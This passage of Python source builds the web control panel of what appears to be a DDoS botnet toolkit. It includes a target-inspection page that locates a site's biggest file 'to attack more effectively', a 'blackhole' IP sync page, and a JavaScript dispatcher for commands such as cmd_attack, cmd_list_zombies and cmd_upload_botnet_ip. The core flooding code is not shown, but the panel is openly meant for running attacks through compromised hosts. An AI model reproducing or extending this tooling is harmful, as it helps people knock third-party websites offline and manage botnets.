AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAACYAAAA/gAAAF4AAAAAAAAAMQAAAPwAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP4AAAD8AAAA/AAAAP4AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAJIAAAAAAAAACAAAAPUAAADPAAAAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACNAAAA/gAAAHUAAAAAAAAABAAAANMAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/QAAADsAAAAAAAAAGAAAAPoAAADEAAAAGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAA+gAAAJwAAAAAAAAAAAAAAGsAAAD8AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD+AAAAyQAAAAIAAAAAAAAAOgAAAP4AAACvAAAAEQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABbAAAA8QAAAMwAAAAHAAAAAAAAABwAAADVAAAA/gAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD0AAAAWAAAAAAAAAAAAAAAcAAAAP4AAACSAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAA4gAAAOgAAAApAAAAAAAAAAIAAABzAAAA9gAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8A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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAXAAAANkAAAD5AAAA/gAAAN8AAACMAAAAUQAAADAAAAAqAAAALAAAAEEAAAB2AAAAwgAAAPsAAAD8AAAA6AAAAJYAAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYAAACCAAAAzQAAAPoAAAD+AAAA/AAAAPYAAADvAAAA8wAAAPoAAAD+AAAA/QAAAOUAAACcAAAARwAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAEwAAADwAAACKAAAAxQAAAOoAAAD3AAAA8AAAANcAAACgAAAAWAAAABwAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='>"
  3937. self.pages["/author"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3938. </head>
  3939. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3940. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3941. <center>
  3942. <table cellpadding="38" cellspacing="38">
  3943. <tr>
  3944. <td>
  3945. <table cellpadding="24" cellspacing="25" border="1">
  3946. <tr>
  3947. <td><pre>"""+self.author_text+"""</pre></td>
  3948. </tr>
  3949. </table>
  3950. </td></tr></table>
  3951. """ + self.pages["/footer"]
  3952. self.pages["/treemap"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3953. </head>
  3954. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3955. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3956. <table cellpadding="38" cellspacing="38">
  3957. <tr>
  3958. <td>
  3959. <div>
  3960. <link type="text/css" href="js/treemap.css" rel="stylesheet" />
  3961. <script language="javascript" type="text/javascript" src="js/jit.js"></script>
  3962. <script language="javascript" type="text/javascript" src="js/treemap.js"></script>
  3963. <div id="infovis"></div>
  3964. </div>
  3965. </td></tr></table><center>
  3966. """ + self.pages["/footer"]
  3967. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  3968. function Requests() {
  3969. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3970. }
  3971. function Start(){
  3972. target=document.getElementById("target").value
  3973. String.prototype.startsWith = function(prefix){
  3974. return this.indexOf(prefix) === 0;
  3975. }
  3976. if(target.startsWith("http")){
  3977. params="target="+escape(target)
  3978. }else{
  3979. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  3980. return
  3981. }
  3982. runCommandX("cmd_inspect",params)
  3983. }
  3984. </script>
  3985. </head>
  3986. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3987. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3988. <center>
  3989. <table cellpadding="38" cellspacing="38">
  3990. <tr>
  3991. <td>
  3992. </td>
  3993. <td>
  3994. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3995. <tr>
  3996. <td>
  3997. <pre>
  3998. This feature will provide you the biggest file on target.
  3999. You can use this before to attack to be more effective.
  4000. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  4001. <hr>
  4002. Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  4003. <hr>
  4004. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  4005. </td></tr></table>
  4006. <br><br><hr><br>
  4007. <div id="cmdOut"></div><center>""" + self.pages["/footer"]
  4008. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  4009. function Grid() {
  4010. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  4011. }
  4012. function Stats() {
  4013. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  4014. }
  4015. function Board() {
  4016. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  4017. }
  4018. function Links() {
  4019. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  4020. }
  4021. function Streams() {
  4022. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  4023. }
  4024. function Sync_ranking(){
  4025. ranking_source=document.getElementById("ranking_source").value
  4026. if(ranking_source == "") {
  4027. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  4028. return
  4029. }else{
  4030. params="ranking_source="+escape(ranking_source)
  4031. runCommandX("cmd_refresh_ranking",params)
  4032. document.getElementById("nb1").style.display = "none";
  4033. document.getElementById("nb1").style.display = "block";
  4034. setTimeout("location.reload()", 10000)
  4035. }
  4036. }
  4037. </script></head>
  4038. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  4039. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  4040. <center>
  4041. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  4042. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
  4043. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button><br><br><button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  4044. </tr></table>
  4045. <table cellpadding="5" cellspacing="10">
  4046. <tr>
  4047. <td align="center">
  4048. Your ranking is: <b>""" + str(self.ranking) + """</b>
  4049. </td>
  4050. </tr>
  4051. <tr>
  4052. <td>
  4053. <table border="1" cellpadding="10" cellspacing="10">
  4054. <tr>
  4055. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  4056. <tr>
  4057. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  4058. <tr>
  4059. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  4060. <tr>
  4061. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  4062. <tr>
  4063. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  4064. <tr>
  4065. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  4066. <tr>
  4067. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  4068. </table>
  4069. </td>
  4070. </tr></table>
  4071. <br>
  4072. <table cellpadding="5" cellspacing="10">
  4073. <tr>
  4074. <td>Blackhole/IP:</td>
  4075. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  4076. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  4077. </tr></table>
  4078. <br>
  4079. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  4080. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  4081. <div id="cmdOut"></div>
  4082. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
  4083. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  4084. <td>
  4085. </td><td>
  4086. <table border="1" cellpadding="5" cellspacing="10">
  4087. <tr>
  4088. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  4089. <tr>
  4090. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  4091. <tr>
  4092. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  4093. <tr>
  4094. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  4095. <tr>
  4096. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  4097. <tr>
  4098. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  4099. <tr>
  4100. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  4101. </table>
  4102. </td><td>
  4103. <table border="1" cellpadding="5" cellspacing="10">
  4104. <tr>
  4105. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  4106. <tr>
  4107. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  4108. <tr>
  4109. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  4110. <tr>
  4111. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  4112. <tr>
  4113. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  4114. <tr>
  4115. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  4116. </table>
  4117. </td><td>
  4118. <table border="1" cellpadding="5" cellspacing="10">
  4119. <tr>
  4120. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  4121. <tr>
  4122. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  4123. <tr>
  4124. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  4125. <tr>
  4126. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  4127. </table>
  4128. </td><td>
  4129. <table border="1" cellpadding="5" cellspacing="10">
  4130. <tr>
  4131. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  4132. <tr>
  4133. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  4134. </table>
  4135. </td>
  4136. </tr></table>
  4137. </center>
  4138. <hr>
  4139. """ + self.pages["/footer"]
  4140. self.pages["/lib.js"] = """function loadXMLDoc() {
  4141. var xmlhttp;
  4142. if (window.XMLHttpRequest) {
  4143. // code for IE7+, Firefox, Chrome, Opera, Safari
  4144. xmlhttp = new XMLHttpRequest();
  4145. } else {
  4146. // code for IE6, IE5
  4147. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  4148. }
  4149. xmlhttp.onreadystatechange = function() {
  4150. if (xmlhttp.readyState == 4 ) {
  4151. if(xmlhttp.status == 200){
  4152. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  4153. setTimeout("loadXMLDoc()", 3000);
  4154. }
  4155. }
  4156. }
  4157. xmlhttp.send();
  4158. }
  4159. function runCommandX(cmd,params) {
  4160. var xmlhttp;
  4161. if (window.XMLHttpRequest) {
  4162. // code for IE7+, Firefox, Chrome, Opera, Safari
  4163. xmlhttp = new XMLHttpRequest();
  4164. } else {
  4165. // code for IE6, IE5
  4166. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  4167. }
  4168. xmlhttp.onreadystatechange = function() {
  4169. if (xmlhttp.readyState == 4 ) {
  4170. if(xmlhttp.status == 200){
  4171. if(cmd.indexOf("?")!=-1){
  4172. s=cmd.split("?")
  4173. cmd=s[0]
  4174. params=s[1]
  4175. }
  4176. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  4177. //document.getElementById("cmdOut").scrollIntoView();
  4178. newcmd=cmd
  4179. if(newcmd=="cmd_list_army"||newcmd=="cmd_list_nodes"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"||newcmd=="cmd_view_changelog"){ //do not refresh listing army
  4180. return;
  4181. } else {
  4182. if(newcmd=="cmd_test_army" || newcmd=="cmd_download_nodes" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_tv" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_sync_links" || newcmd=="cmd_sync_globalnet" || newcmd=="cmd_sync_streams" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_transfer_link" || newcmd=="cmd_transfer_globalnet" || newcmd=="cmd_transfer_stream" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_decrypt_links" || newcmd=="cmd_decrypt_globalnet" || newcmd=="cmd_decrypt_streams" || newcmd=="cmd_decrypt_tv" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_botnet_ip" || newcmd=="cmd_upload_botnet_ip" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_check_tor" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_link_filter" || newcmd=="cmd_globalnet_filter" || newcmd=="cmd_stream_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  4183. //do not refresh if certain text on response is found
  4184. if(newcmd.match(/update/) &&
  4185. (
  4186. xmlhttp.responseText.match(/Generating random exit/) ||
  4187. xmlhttp.responseText.match(/Biggest File/) ||
  4188. xmlhttp.responseText.match(/Abduction finished/) ||
  4189. xmlhttp.responseText.match(/Not any zombie active/) ||
  4190. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  4191. xmlhttp.responseText.match(/Unable to connect to target/) ||
  4192. xmlhttp.responseText.match(/Something wrong/) ||
  4193. xmlhttp.responseText.match(/Target url not valid/) ||
  4194. xmlhttp.responseText.match(/updated/) ||
  4195. xmlhttp.responseText.match(/For HELP use:/) ||
  4196. xmlhttp.responseText.match(/Not any .git repository found/) ||
  4197. xmlhttp.responseText.match(/End of /) ||
  4198. xmlhttp.responseText.match(/Exiting /) ||
  4199. xmlhttp.responseText.match(/Bye/)
  4200. )
  4201. ) return;
  4202. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  4203. return;}
  4204. }
  4205. }
  4206. }
  4207. if(typeof params != "undefined") cmd=cmd+"?"+params
  4208. xmlhttp.open("GET", cmd, true);
  4209. xmlhttp.send();
  4210. }
  4211. """
  4212. self.pages["/requests"] = self.html_requests()
  4213. self.pages["/board_profile"] = self.html_board_profile()
  4214. self.pages["/grid_profile"] = self.html_grid_profile()
  4215. def buildGetParams(self, request):
  4216. params = {}
  4217. try:
  4218. path = re.findall(r"^GET ([^\s]+)", request.decode('utf-8'))
  4219. except:
  4220. path = re.findall(r"^GET ([^\s]+)", request)
  4221. if path:
  4222. path = path[0]
  4223. start = path.find("?")
  4224. if start != -1:
  4225. if path[start+1:start+7] == "zombie":
  4226. params['zombie']=path[start+8:]
  4227. return params
  4228. if path[start+1:start+7] == "target":
  4229. params['target']=path[start+8:]
  4230. return params
  4231. if path[start+1:start+10] == "fetchdoll":
  4232. params['fetchdoll']=urllib.parse.unquote(path[start+11:])
  4233. return params
  4234. if path[start+1:start+5] == "doll":
  4235. params['doll']=urllib.parse.unquote(path[start+6:])
  4236. return params
  4237. for param in path[start+1:].split("&"):
  4238. f = param.split("=", 1)
  4239. if len(f) == 2:
  4240. var = f[0]
  4241. value = f[1]
  4242. value = value.replace("+", " ") # quoted space
  4243. value = urllib.parse.unquote(value)
  4244. for key in badkeys: # sanitize user-input badkeys
  4245. if key in value:
  4246. value = value.replace(key, " ")
  4247. params[var] = value
  4248. return params
  4249. def save_profile(self,pGet):
  4250. # set values for profile configuration from html form to json file
  4251. if "profile_token" in list(pGet.keys()):
  4252. profile_token = pGet["profile_token"]
  4253. else:
  4254. profile_token = self.profile_token
  4255. if "profile_icon" in list(pGet.keys()):
  4256. profile_icon = pGet["profile_icon"]
  4257. else:
  4258. profile_icon = self.profile_icon
  4259. if "profile_nick" in list(pGet.keys()):
  4260. profile_nick = pGet["profile_nick"]
  4261. else:
  4262. profile_nick = self.profile_nick
  4263. # set new values on boardcfg json file
  4264. with open(self.mothership_boardcfg_file, "w") as f:
  4265. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  4266. def save_grid(self,pGet):
  4267. # set values for profile configuration from html form to json file
  4268. if "grid_token" in list(pGet.keys()):
  4269. grid_token = pGet["grid_token"]
  4270. else:
  4271. grid_token = self.grid_token
  4272. if "grid_contact" in list(pGet.keys()):
  4273. grid_contact = pGet["grid_contact"]
  4274. else:
  4275. grid_contact = self.grid_contact
  4276. if "grid_nick" in list(pGet.keys()):
  4277. grid_nick = pGet["grid_nick"]
  4278. else:
  4279. grid_nick = self.grid_nick
  4280. # set new values on gridcfg json file
  4281. with open(self.mothership_gridcfg_file, "w") as f:
